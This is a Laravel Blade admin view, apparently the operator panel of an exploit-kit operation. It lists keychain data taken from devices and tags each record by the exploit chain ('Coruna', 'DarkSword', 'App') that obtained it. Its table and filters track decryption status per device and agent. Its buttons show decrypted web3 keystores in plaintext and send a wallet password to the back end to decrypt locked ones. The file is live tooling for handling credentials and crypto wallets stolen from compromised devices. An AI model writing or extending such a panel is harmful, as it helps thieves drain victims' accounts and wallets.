Files
coruna-lab/resources/views/admin/keystores/index.blade.php
T
2026-10-05 06:12:43 +08:00

249 lines
9.2 KiB
PHP

@extends('admin.content')
@section('title', '钥匙串')
@section('content')
@php $portal = $portal ?? 'admin'; @endphp
<style>
.ks-wrap { padding: 12px 16px 16px; }
.ks-meta { color: #666; font-size: 13px; margin-bottom: 10px; }
.ks-empty { color: #999; padding: 24px 0; text-align: center; }
.ks-table { width: 100%; border-collapse: collapse; font-size: 12px; }
.ks-table th,
.ks-table td {
border: 1px solid #e6e6e6;
padding: 8px 10px;
text-align: left;
vertical-align: top;
}
.ks-table th { background: #fafafa; font-weight: 600; white-space: nowrap; }
.ks-table .mono {
word-break: break-all;
font-family: Menlo, Monaco, Consolas, monospace;
}
.ks-detail-hint {
color: #999;
font-size: 12px;
margin-bottom: 8px;
padding: 6px 10px;
background: #fffbe6;
border: 1px solid #ffe58f;
border-radius: 3px;
}
.ks-detail-json {
background: #f7f7f7;
border: 1px solid #e6e6e6;
border-radius: 3px;
padding: 12px;
font-family: Menlo, Monaco, Consolas, monospace;
font-size: 12px;
line-height: 1.5;
max-height: 560px;
overflow: auto;
white-space: pre-wrap;
word-break: break-all;
}
</style>
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ks-search">
<div class="layui-form-item">
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">利用链</label>
<div class="layui-input-block">
<select name="chain">
<option value="">全部</option>
<option value="1">Coruna</option>
<option value="2">DarkSword</option>
<option value="3">App</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off">
</div>
</div>
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">来源</label>
<div class="layui-input-block">
<select name="source">
<option value="">全部</option>
<option value="未知">未知</option>
@foreach ($sources as $s)
<option value="{{ $s }}">{{ $s }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">已解密</label>
<div class="layui-input-block">
<select name="decrypted">
<option value="">全部</option>
<option value="1">是</option>
<option value="0">否</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">需要密码</label>
<div class="layui-input-block">
<select name="needs_password">
<option value="">全部</option>
<option value="1">是</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-ks-search">搜索</button>
</div>
</div>
</form>
<div class="layui-card-body">
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
<script type="text/html" id="LAY-ks-ops">
@{{# if(d.has_web3_keystore){ }}<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">查看明文</a>@{{# } }}
@{{# if(Number(d.needs_password) === 1){ }}<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>@{{# } }}
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var token = @json(csrf_token());
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
function esc(v) {
return String(v == null ? '' : v)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
}
function dash(v) { return v ? esc(v) : '—'; }
// ── Plaintext detail viewer (sensitive fields masked) ──
window.CorunaKeystoreDetail = window.CorunaKeystoreDetail || function (url, title) {
layer.load(1);
$.getJSON(url, function (res) {
layer.closeAll('loading');
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var d = res.data || {};
var detail = d.detail || {};
var html = '<div class="ks-wrap"><div class="ks-meta">#' + esc(d.id) +
' · 来源 ' + esc(d.source || '未知') +
' · ' + esc(d.kind || '') +
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
'</div>';
html += '<div class="ks-detail-hint">敏感加密字段已打码,其余明文信息完整展示</div>';
html += '<pre class="ks-detail-json">' + esc(JSON.stringify(detail, null, 2)) + '</pre></div>';
layer.open({
type: 1,
title: title || ('明文详情 #' + (d.id || '')),
area: ['960px', '80%'],
content: html,
scrollbar: true
});
}).fail(function () {
layer.closeAll('loading');
layer.msg('加载失败');
});
};
table.render({
elem: '#LAY-ks-list',
id: 'LAY-ks-list',
url: @json(route($portal.'.keystores.data')),
cols: [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'device_key', title: '设备 ID', width: 160, templet: function (d) { return d.device_key ? '<code>' + esc(d.device_key) + '</code>' : '—'; } },
{ field: 'chain', title: '利用链', width: 120, sort: true, templet: function (d) {
var c = Number(d.chain);
var cls = 'tag-chain-coruna', label = 'Coruna';
if (c === 2) { cls = 'tag-chain-darksword'; label = 'DarkSword'; }
else if (c === 3) { cls = 'tag-chain-app'; label = 'App'; }
return '<span class="tag-chain ' + cls + '">' + label + '</span>';
} },
{ field: 'channel_id', title: '渠道 ID', minWidth: 180, templet: function (d) { return dash(d.channel_id); } },
{ field: 'source', title: '来源', width: 130, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
return Number(d.decrypted) === 1 ? '是' : '否';
} },
{ field: 'needs_password', title: '需要密码', width: 110, sort: true, templet: function (d) {
return Number(d.needs_password) === 1 ? '是' : '—';
} },
{ field: 'kind', title: '类型', width: 110 },
{ field: 'created_at', title: '时间', width: 170, sort: true },
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-ks-ops' }
]],
page: true, limit: 20, limits: [10, 20, 30, 50],
text: { none: '暂无钥匙串' },
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
form.on('submit(LAY-ks-search)', function (data) {
table.reload('LAY-ks-list', { where: data.field, page: { curr: 1 } });
return false;
});
table.on('tool(LAY-ks-list)', function (obj) {
if (obj.event === 'plaintext') {
window.CorunaKeystoreDetail(obj.data.detail_api_url, '明文详情 #' + obj.data.id);
return;
}
if (obj.event === 'decryptPassword') {
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
layer.prompt({
formType: 1,
title: '输入钱包密码',
maxlength: 256
}, function (value, idx) {
var password = String(value || '').trim();
if (!password) return layer.msg('请输入密码');
layer.close(idx);
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
$.ajax({
url: obj.data.password_decrypt_url,
method: 'POST',
data: { _token: token, password: password },
timeout: 180000,
success: function (res) {
layer.msg((res && res.msg) || '已处理');
if (res && res.code === 0) table.reload('LAY-ks-list');
},
error: function (xhr) {
var msg = '解密失败';
if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试';
else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg;
layer.msg(msg);
},
complete: function () {
layer.close(loadIdx);
}
});
});
return;
}
if (obj.event !== 'detail') return;
var url = obj.data.detail_url;
var title = '设备 ' + (obj.data.device_key || obj.data.id);
try {
if (parent && parent.layui && parent.layui.index) {
parent.layui.index.openTabsPage(url, title);
return;
}
} catch (e) {}
location.href = url;
});
});
</script>
@endpush